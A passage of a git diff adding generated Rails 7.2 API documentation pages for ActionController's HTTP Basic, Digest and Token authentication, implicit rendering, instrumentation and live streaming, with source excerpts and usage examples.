+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 95
+        def authenticate_or_request_with_http_basic(realm = nil, message = nil, &login_procedure)
+          authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm || "Application", message)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authenticate_with_http_basic(&login_procedure) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 99
+        def authenticate_with_http_basic(&login_procedure)
+          HttpAuthentication::Basic.authenticate(request, &login_procedure)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + http_basic_authenticate_or_request_with(name:, password:, realm: nil, message: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 86
+        def http_basic_authenticate_or_request_with(name:, password:, realm: nil, message: nil)
+          authenticate_or_request_with_http_basic(realm, message) do |given_name, given_password|
+            # This comparison uses & so that it doesn't short circuit and uses
+            # `secure_compare` so that length information isn't leaked.
+            ActiveSupport::SecurityUtils.secure_compare(given_name.to_s, name) &
+              ActiveSupport::SecurityUtils.secure_compare(given_password.to_s, password)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_http_basic_authentication(realm = "Application", message = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 103
+        def request_http_basic_authentication(realm = "Application", message = nil)
+          HttpAuthentication::Basic.authentication_request(self, realm, message)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html b/src/7.2/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html new file mode 100644 index 0000000000..f3d0290cc0 --- /dev/null +++ b/src/7.2/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html @@ -0,0 +1,105 @@ +--- +title: ActionController::HttpAuthentication::Basic::ControllerMethods::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + http_basic_authenticate_with(name:, password:, realm: nil, **options) + +

+ + +
+

Enables HTTP Basic authentication.

+ +

See ActionController::HttpAuthentication::Basic for example usage.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 79
+          def http_basic_authenticate_with(name:, password:, realm: nil, **options)
+            raise ArgumentError, "Expected name: to be a String, got #{name.class}" unless name.is_a?(String)
+            raise ArgumentError, "Expected password: to be a String, got #{password.class}" unless password.is_a?(String)
+            before_action(options) { http_basic_authenticate_or_request_with name: name, password: password, realm: realm }
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/HttpAuthentication/Digest.html b/src/7.2/classes/ActionController/HttpAuthentication/Digest.html new file mode 100644 index 0000000000..c260da49a8 --- /dev/null +++ b/src/7.2/classes/ActionController/HttpAuthentication/Digest.html @@ -0,0 +1,673 @@ +--- +title: ActionController::HttpAuthentication::Digest +layout: default +--- +
+ +
+
+ +
+ +

HTTP Digest authentication

+ +

Simple Digest example

+ +
require "openssl"
+class PostsController < ApplicationController
+  REALM = "SuperSecret"
+  USERS = {"dhh" => "secret", #plain text password
+           "dap" => OpenSSL::Digest::MD5.hexdigest(["dap",REALM,"secret"].join(":"))}  #ha1 digest password
+
+  before_action :authenticate, except: [:index]
+
+  def index
+    render plain: "Everyone can see me!"
+  end
+
+  def edit
+    render plain: "I'm only accessible if you know the password"
+  end
+
+  private
+    def authenticate
+      authenticate_or_request_with_http_digest(REALM) do |username|
+        USERS[username]
+      end
+    end
+end
+
+ +

Notes

+ +

The authenticate_or_request_with_http_digest block must return the user’s password or the ha1 digest hash so the framework can appropriately hash to check the user’s credentials. Returning nil will cause authentication to fail.

+ +

Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If the password file or database is compromised, the attacker would be able to use the ha1 hash to authenticate as the user at this realm, but would not have the user’s password to try using at other sites.

+ +

In rare instances, web servers or front proxies strip authorization headers before they reach your application. You can debug this situation by logging all environment variables, and check for HTTP_AUTHORIZATION, amongst others.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + authenticate(request, realm, &password_procedure) + +

+ + +
+

Returns true on a valid response, false otherwise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 215
+      def authenticate(request, realm, &password_procedure)
+        request.authorization && validate_digest_response(request, realm, &password_procedure)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authentication_header(controller, realm) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 274
+      def authentication_header(controller, realm)
+        secret_key = secret_token(controller.request)
+        nonce = self.nonce(secret_key)
+        opaque = opaque(secret_key)
+        controller.headers["WWW-Authenticate"] = %(Digest realm="#{realm}", qop="auth", algorithm=MD5, nonce="#{nonce}", opaque="#{opaque}")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authentication_request(controller, realm, message = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 281
+      def authentication_request(controller, realm, message = nil)
+        message ||= "HTTP Digest: Access denied.\n"
+        authentication_header(controller, realm)
+        controller.status = 401
+        controller.response_body = message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decode_credentials(header) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 267
+      def decode_credentials(header)
+        ActiveSupport::HashWithIndifferentAccess[header.to_s.gsub(/^Digest\s+/, "").split(",").map do |pair|
+          key, value = pair.split("=", 2)
+          [key.strip, value.to_s.gsub(/^"|"$/, "").delete("'")]
+        end]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decode_credentials_header(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 263
+      def decode_credentials_header(request)
+        decode_credentials(request.authorization)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode_credentials(http_method, credentials, password, password_is_ha1) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 258
+      def encode_credentials(http_method, credentials, password, password_is_ha1)
+        credentials[:response] = expected_response(http_method, credentials[:uri], credentials, password, password_is_ha1)
+        "Digest " + credentials.sort_by { |x| x[0].to_s }.map { |v| "#{v[0]}='#{v[1]}'" }.join(", ")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + expected_response(http_method, uri, credentials, password, password_is_ha1 = true) + +

+ + +
+

Returns the expected response for a request of http_method to uri with the decoded credentials and the expected password Optional parameter password_is_ha1 is set to true by default, since best practice is to store ha1 digest instead of a plain-text password.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 248
+      def expected_response(http_method, uri, credentials, password, password_is_ha1 = true)
+        ha1 = password_is_ha1 ? password : ha1(credentials, password)
+        ha2 = OpenSSL::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(":"))
+        OpenSSL::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(":"))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ha1(credentials, password) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 254
+      def ha1(credentials, password)
+        OpenSSL::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(":"))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + nonce(secret_key, time = Time.now) + +

+ + +
+

Uses an MD5 digest based on time to generate a value to be used only once.

+ +

A server-specified data string which should be uniquely generated each time a 401 response is made. It is recommended that this string be base64 or hexadecimal data. Specifically, since the string is passed in the header lines as a quoted string, the double-quote character is not allowed.

+ +

The contents of the nonce are implementation dependent. The quality of the implementation depends on a good choice. A nonce might, for example, be constructed as the base 64 encoding of

+ +
time-stamp H(time-stamp ":" ETag ":" private-key)
+
+ +

where time-stamp is a server-generated time or other non-repeating value, ETag is the value of the HTTP ETag header associated with the requested entity, and private-key is data known only to the server. With a nonce of this form a server would recalculate the hash portion after receiving the client authentication header and reject the request if it did not match the nonce from that header or if the time-stamp value is not recent enough. In this way the server can limit the time of the nonce’s validity. The inclusion of the ETag prevents a replay request for an updated version of the resource. (Note: including the IP address of the client in the nonce would appear to offer the server the ability to limit the reuse of the nonce to the same client that originally got it. However, that would break proxy farms, where requests from a single user often go through different proxies in the farm. Also, IP address spoofing is not that hard.)

+ +

An implementation might choose not to accept a previously used nonce or a previously used digest, in order to protect against a replay attack. Or, an implementation might choose to use one-time nonces or digests for POST, PUT, or PATCH requests, and a time-stamp for GET requests. For more details on the issues involved see Section 4 of this document.

+ +

The nonce is opaque to the client. Composed of Time, and hash of Time with secret key from the Rails session secret generated upon creation of project. Ensures the time cannot be modified by client.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 330
+      def nonce(secret_key, time = Time.now)
+        t = time.to_i
+        hashed = [t, secret_key]
+        digest = OpenSSL::Digest::MD5.hexdigest(hashed.join(":"))
+        ::Base64.strict_encode64("#{t}:#{digest}")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + opaque(secret_key) + +

+ + +
+

Opaque based on digest of secret key

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 348
+      def opaque(secret_key)
+        OpenSSL::Digest::MD5.hexdigest(secret_key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + secret_token(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 288
+      def secret_token(request)
+        key_generator  = request.key_generator
+        http_auth_salt = request.http_auth_salt
+        key_generator.generate_key(http_auth_salt)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_digest_response(request, realm, &password_procedure) + +

+ + +
+

Returns false unless the request credentials response value matches the expected value. First try the password as a ha1 digest password. If this fails, then try it as a plain text password.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 222
+      def validate_digest_response(request, realm, &password_procedure)
+        secret_key  = secret_token(request)
+        credentials = decode_credentials_header(request)
+        valid_nonce = validate_nonce(secret_key, request, credentials[:nonce])
+
+        if valid_nonce && realm == credentials[:realm] && opaque(secret_key) == credentials[:opaque]
+          password = password_procedure.call(credentials[:username])
+          return false unless password
+
+          method = request.get_header("rack.methodoverride.original_method") || request.get_header("REQUEST_METHOD")
+          uri    = credentials[:uri]
+
+          [true, false].any? do |trailing_question_mark|
+            [true, false].any? do |password_is_ha1|
+              _uri = trailing_question_mark ? uri + "?" : uri
+              expected = expected_response(method, _uri, credentials, password, password_is_ha1)
+              expected == credentials[:response]
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_nonce(secret_key, request, value, seconds_to_timeout = 5 * 60) + +

+ + +
+

Might want a shorter timeout depending on whether the request is a PATCH, PUT, or POST, and if the client is a browser or web service. Can be much shorter if the Stale directive is implemented. This would allow a user to use new nonce without prompting the user again for their username and password.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 341
+      def validate_nonce(secret_key, request, value, seconds_to_timeout = 5 * 60)
+        return false if value.nil?
+        t = ::Base64.decode64(value).split(":").first.to_i
+        nonce(secret_key, t) == value && (t - Time.now.to_i).abs <= seconds_to_timeout
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html b/src/7.2/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html new file mode 100644 index 0000000000..867479d408 --- /dev/null +++ b/src/7.2/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html @@ -0,0 +1,181 @@ +--- +title: ActionController::HttpAuthentication::Digest::ControllerMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + authenticate_or_request_with_http_digest(realm = "Application", message = nil, &password_procedure) + +

+ + +
+

Authenticate using an HTTP Digest, or otherwise render an HTTP header requesting the client to send a Digest.

+ +

See ActionController::HttpAuthentication::Digest for example usage.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 197
+        def authenticate_or_request_with_http_digest(realm = "Application", message = nil, &password_procedure)
+          authenticate_with_http_digest(realm, &password_procedure) || request_http_digest_authentication(realm, message)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authenticate_with_http_digest(realm = "Application", &password_procedure) + +

+ + +
+

Authenticate using an HTTP Digest. Returns true if authentication is successful, false otherwise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 203
+        def authenticate_with_http_digest(realm = "Application", &password_procedure)
+          HttpAuthentication::Digest.authenticate(request, realm, &password_procedure)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_http_digest_authentication(realm = "Application", message = nil) + +

+ + +
+

Render an HTTP header requesting the client to send a Digest for authentication.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 209
+        def request_http_digest_authentication(realm = "Application", message = nil)
+          HttpAuthentication::Digest.authentication_request(self, realm, message)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/HttpAuthentication/Token.html b/src/7.2/classes/ActionController/HttpAuthentication/Token.html new file mode 100644 index 0000000000..e734b080f9 --- /dev/null +++ b/src/7.2/classes/ActionController/HttpAuthentication/Token.html @@ -0,0 +1,552 @@ +--- +title: ActionController::HttpAuthentication::Token +layout: default +--- +
+ +
+
+ +
+ +

HTTP Token authentication

+ +

Simple Token example

+ +
class PostsController < ApplicationController
+  TOKEN = "secret"
+
+  before_action :authenticate, except: [ :index ]
+
+  def index
+    render plain: "Everyone can see me!"
+  end
+
+  def edit
+    render plain: "I'm only accessible if you know the password"
+  end
+
+  private
+    def authenticate
+      authenticate_or_request_with_http_token do |token, options|
+        # Compare the tokens in a time-constant manner, to mitigate
+        # timing attacks.
+        ActiveSupport::SecurityUtils.secure_compare(token, TOKEN)
+      end
+    end
+end
+
+ +

Here is a more advanced Token example where only Atom feeds and the XML API are protected by HTTP token authentication. The regular HTML interface is protected by a session approach:

+ +
class ApplicationController < ActionController::Base
+  before_action :set_account, :authenticate
+
+  private
+    def set_account
+      @account = Account.find_by(url_name: request.subdomains.first)
+    end
+
+    def authenticate
+      case request.format
+      when Mime[:xml], Mime[:atom]
+        if user = authenticate_with_http_token { |t, o| @account.users.authenticate(t, o) }
+          @current_user = user
+        else
+          request_http_token_authentication
+        end
+      else
+        if session_authenticated?
+          @current_user = @account.users.find(session[:authenticated][:user_id])
+        else
+          redirect_to(login_url) and return false
+        end
+      end
+    end
+end
+
+ +

In your integration tests, you can do something like this:

+ +
def test_access_granted_from_xml
+  authorization = ActionController::HttpAuthentication::Token.encode_credentials(users(:dhh).token)
+
+  get "/notes/1.xml", headers: { 'HTTP_AUTHORIZATION' => authorization }
+
+  assert_equal 200, status
+end
+
+ +

On shared hosts, Apache sometimes doesn’t pass authentication headers to FCGI instances. If your environment matches this description and you cannot authenticate, try this rule in your Apache setup:

+ +
RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + +
AUTHN_PAIR_DELIMITERS=/(?:,|;|\t)/
TOKEN_KEY="token="
TOKEN_REGEX=/^(Token|Bearer)\s+/
+ + + + + + + +

Instance Public methods

+ +
+

+ + authenticate(controller, &login_procedure) + +

+ + +
+

If token Authorization header is present, call the login procedure with the present token and options.

+ +

Returns the return value of login_procedure if a token is found. Returns nil if no token is found.

+ +

Parameters

+
  • +

    controller - ActionController::Base instance for the current request.

    +
  • +

    login_procedure - Proc to call if a token is present. The Proc should take two arguments:

    + +
    authenticate(controller) { |token, options| ... }
    +
    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 472
+      def authenticate(controller, &login_procedure)
+        token, options = token_and_options(controller.request)
+        unless token.blank?
+          login_procedure.call(token, options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authentication_request(controller, realm, message = nil) + +

+ + +
+

Sets a WWW-Authenticate header to let the client know a token is desired.

+ +

Returns nothing.

+ +

Parameters

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 555
+      def authentication_request(controller, realm, message = nil)
+        message ||= "HTTP Token: Access denied.\n"
+        controller.headers["WWW-Authenticate"] = %(Token realm="#{realm.tr('"', "")}")
+        controller.__send__ :render, plain: message, status: :unauthorized
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode_credentials(token, options = {}) + +

+ + +
+

Encodes the given token and options into an Authorization header value.

+ +

Returns String.

+ +

Parameters

+
  • +

    token - String token.

    +
  • +

    options - Optional Hash of the options.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 539
+      def encode_credentials(token, options = {})
+        values = ["#{TOKEN_KEY}#{token.to_s.inspect}"] + options.map do |key, value|
+          "#{key}=#{value.to_s.inspect}"
+        end
+        "Token #{values * ", "}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + params_array_from(raw_params) + +

+ + +
+

Takes raw_params and turns it into an array of parameters.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 507
+      def params_array_from(raw_params)
+        raw_params.map { |param| param.split %r/=(.+)?/ }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + raw_params(auth) + +

+ + +
+

This method takes an authorization body and splits up the key-value pairs by the standardized :, ;, or \t delimiters defined in AUTHN_PAIR_DELIMITERS.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 519
+      def raw_params(auth)
+        _raw_params = auth.sub(TOKEN_REGEX, "").split(AUTHN_PAIR_DELIMITERS).map(&:strip)
+        _raw_params.reject!(&:empty?)
+
+        if !_raw_params.first&.start_with?(TOKEN_KEY)
+          _raw_params[0] = "#{TOKEN_KEY}#{_raw_params.first}"
+        end
+
+        _raw_params
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rewrite_param_values(array_params) + +

+ + +
+

This removes the " characters wrapping the value.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 512
+      def rewrite_param_values(array_params)
+        array_params.each { |param| (param[1] || +"").gsub! %r/^"|"$/, "" }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + token_and_options(request) + +

+ + +
+

Parses the token and options out of the token Authorization header. The value for the Authorization header is expected to have the prefix "Token" or "Bearer". If the header looks like this:

+ +
Authorization: Token token="abc", nonce="def"
+
+ +

Then the returned token is "abc", and the options are {nonce: "def"}.

+ +

Returns an Array of [String, Hash] if a token is present. Returns nil if no token is found.

+ +

Parameters

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 494
+      def token_and_options(request)
+        authorization_request = request.authorization.to_s
+        if authorization_request[TOKEN_REGEX]
+          params = token_params_from authorization_request
+          [params.shift[1], Hash[params].with_indifferent_access]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + token_params_from(auth) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 502
+      def token_params_from(auth)
+        rewrite_param_values params_array_from raw_params auth
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html b/src/7.2/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html new file mode 100644 index 0000000000..1e199ff94c --- /dev/null +++ b/src/7.2/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html @@ -0,0 +1,183 @@ +--- +title: ActionController::HttpAuthentication::Token::ControllerMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + authenticate_or_request_with_http_token(realm = "Application", message = nil, &login_procedure) + +

+ + +
+

Authenticate using an HTTP Bearer token, or otherwise render an HTTP header requesting the client to send a Bearer token. For the authentication to be considered successful, login_procedure must not return a false value. Typically, the authenticated user is returned.

+ +

See ActionController::HttpAuthentication::Token for example usage.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 438
+        def authenticate_or_request_with_http_token(realm = "Application", message = nil, &login_procedure)
+          authenticate_with_http_token(&login_procedure) || request_http_token_authentication(realm, message)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authenticate_with_http_token(&login_procedure) + +

+ + +
+

Authenticate using an HTTP Bearer token. Returns the return value of login_procedure if a token is found. Returns nil if no token is found.

+ +

See ActionController::HttpAuthentication::Token for example usage.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 446
+        def authenticate_with_http_token(&login_procedure)
+          Token.authenticate(self, &login_procedure)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_http_token_authentication(realm = "Application", message = nil) + +

+ + +
+

Render an HTTP header requesting the client to send a Bearer token for authentication.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 452
+        def request_http_token_authentication(realm = "Application", message = nil)
+          Token.authentication_request(self, realm, message)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ImplicitRender.html b/src/7.2/classes/ActionController/ImplicitRender.html new file mode 100644 index 0000000000..d42a4c104c --- /dev/null +++ b/src/7.2/classes/ActionController/ImplicitRender.html @@ -0,0 +1,74 @@ +--- +title: ActionController::ImplicitRender +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Implicit Render

+ +

Handles implicit rendering for a controller action that does not explicitly respond with render, respond_to, redirect, or head.

+ +

For API controllers, the implicit response is always 204 No Content.

+ +

For all other controllers, we use these heuristics to decide whether to render a template, raise an error for a missing template, or respond with 204 No Content:

+ +

First, if we DO find a template, it’s rendered. Template lookup accounts for the action name, locales, format, variant, template handlers, and more (see render for details).

+ +

Second, if we DON’T find a template but the controller action does have templates for other formats, variants, etc., then we trust that you meant to provide a template for this response, too, and we raise ActionController::UnknownFormat with an explanation.

+ +

Third, if we DON’T find a template AND the request is a page load in a web browser (technically, a non-XHR GET request for an HTML response) where you reasonably expect to have rendered a template, then we raise ActionController::MissingExactTemplate with an explanation.

+ +

Finally, if we DON’T find a template AND the request isn’t a browser page load, then we implicitly respond with 204 No Content.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Instrumentation.html b/src/7.2/classes/ActionController/Instrumentation.html new file mode 100644 index 0000000000..b09449d564 --- /dev/null +++ b/src/7.2/classes/ActionController/Instrumentation.html @@ -0,0 +1,341 @@ +--- +title: ActionController::Instrumentation +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Instrumentation

+ +

Adds instrumentation to several ends in ActionController::Base. It also provides some hooks related with process_action. This allows an ORM like Active Record and/or DataMapper to plug in ActionController and show related information.

+ +

Check ActiveRecord::Railties::ControllerRuntime for an example.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + redirect_to(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/instrumentation.rb, line 50
+    def redirect_to(*)
+      ActiveSupport::Notifications.instrument("redirect_to.action_controller", request: request) do |payload|
+        result = super
+        payload[:status]   = response.status
+        payload[:location] = response.filtered_location
+        result
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/instrumentation.rb, line 29
+    def render(*)
+      render_output = nil
+      self.view_runtime = cleanup_view_runtime do
+        Benchmark.ms { render_output = super }
+      end
+      render_output
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_data(data, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/instrumentation.rb, line 44
+    def send_data(data, options = {})
+      ActiveSupport::Notifications.instrument("send_data.action_controller", options) do
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_file(path, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/instrumentation.rb, line 37
+    def send_file(path, options = {})
+      ActiveSupport::Notifications.instrument("send_file.action_controller",
+        options.merge(path: path)) do
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + append_info_to_payload(payload) + +

+ + +
+

Every time after an action is processed, this method is invoked with the payload, so you can add more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/instrumentation.rb, line 106
+      def append_info_to_payload(payload) # :doc:
+        payload[:view_runtime] = view_runtime
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cleanup_view_runtime() + +

+ + +
+

A hook which allows you to clean up any time, wrongly taken into account in views, like database querying time.

+ +
def cleanup_view_runtime
+  super - time_taken_in_something_expensive
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/instrumentation.rb, line 100
+      def cleanup_view_runtime # :doc:
+        yield
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Instrumentation/ClassMethods.html b/src/7.2/classes/ActionController/Instrumentation/ClassMethods.html new file mode 100644 index 0000000000..292a39f890 --- /dev/null +++ b/src/7.2/classes/ActionController/Instrumentation/ClassMethods.html @@ -0,0 +1,54 @@ +--- +title: ActionController::Instrumentation::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/InvalidParameterKey.html b/src/7.2/classes/ActionController/InvalidParameterKey.html new file mode 100644 index 0000000000..b6cf77c398 --- /dev/null +++ b/src/7.2/classes/ActionController/InvalidParameterKey.html @@ -0,0 +1,70 @@ +--- +title: ActionController::InvalidParameterKey +layout: default +--- +
+ +
+
+ +
+ +

Raised when initializing Parameters with keys that aren’t strings or symbols.

+ +
ActionController::Parameters.new(123 => 456)
+# => ActionController::InvalidParameterKey: all keys must be Strings or Symbols, got: Integer
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Live.html b/src/7.2/classes/ActionController/Live.html new file mode 100644 index 0000000000..dfacaa6678 --- /dev/null +++ b/src/7.2/classes/ActionController/Live.html @@ -0,0 +1,312 @@ +--- +title: ActionController::Live +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Live

+ +

Mix this module into your controller, and all actions in that controller will be able to stream data to the client as it’s written.

+ +
class MyController < ActionController::Base
+  include ActionController::Live
+
+  def stream
+    response.headers['Content-Type'] = 'text/event-stream'
+    100.times {
+      response.stream.write "hello world\n"
+      sleep 1
+    }
+  ensure
+    response.stream.close
+  end
+end
+
+ +

There are a few caveats with this module. You cannot write headers after the response has been committed (Response#committed? will return truthy). Calling write or close on the response stream will cause the response object to be committed. Make sure all headers are set before calling write or close on your stream.

+ +

You must call close on your stream when you’re finished, otherwise the socket may be left open forever.

+ +

The final caveat is that your actions are executed in a separate thread than the main thread. Make sure your actions are thread safe, and this shouldn’t be a problem (don’t share state across threads, etc).

+ +

